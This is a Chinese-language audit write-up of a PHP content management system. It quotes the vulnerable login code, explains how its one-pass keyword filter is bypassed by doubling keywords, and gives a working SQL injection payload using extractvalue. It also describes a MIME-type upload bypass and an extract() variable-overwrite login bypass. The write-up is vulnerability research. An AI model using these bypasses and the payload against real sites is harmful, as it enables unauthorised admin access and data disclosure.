一, 登陆处sql注入
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);
}
可以看到登陆处用fl_values()和fl_html()对输入的username和password进行了检测,跟进这两个函数
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
function fl_html($str){
return htmlspecialchars($str);
}
可以看到fl_value()把常用的注入函数替换为空,但是只替换了一次,可以用双写绕过。fl_html()实际上就是用htmlspecialchars()进行过滤,可以看到对单引号实际上没有过滤的。
再继续跟进chek_login()函数
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}
$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}
因为这里是把用户和密码分开检验的,所有没有万能密码。可以看到username在拼入sql语句的时候是被单引号包裹的,经过前面分析直到单引号不会被转义,所有可以闭合!所以可以进行利用了!
payload:1’or extractvalue(1,(seselectlect @@basedir))#
二,文件上传
后台图片上传处,随便上传一个图片抓包,发现是这个函数进行处理
跟进这个函数
可以看到调用了up_img()进行检测,定位这个函数
检测上传的的mime类型是否在白名单中,这个就很好绕过了!直接修改mime类型绕过
三,变量覆盖绕过登录检测
先找出那个函数对登录状态进行了检测,发现在admin目录下的文件都包含了init.php这个文件,那我们进入这个文件看看
发现这个文件里面并没有检测登录状态,但是包含了一个fun.php文件,感觉很可疑,进去看看
果不其然,在这里进行了检测,那我们要想绕过检测就必须要满足条件。
可以看到这个文件里面有extract()函数,跟进
ok,有思路了,直接访问这个文件然后post进行变量覆盖
然后访问后台,登录成功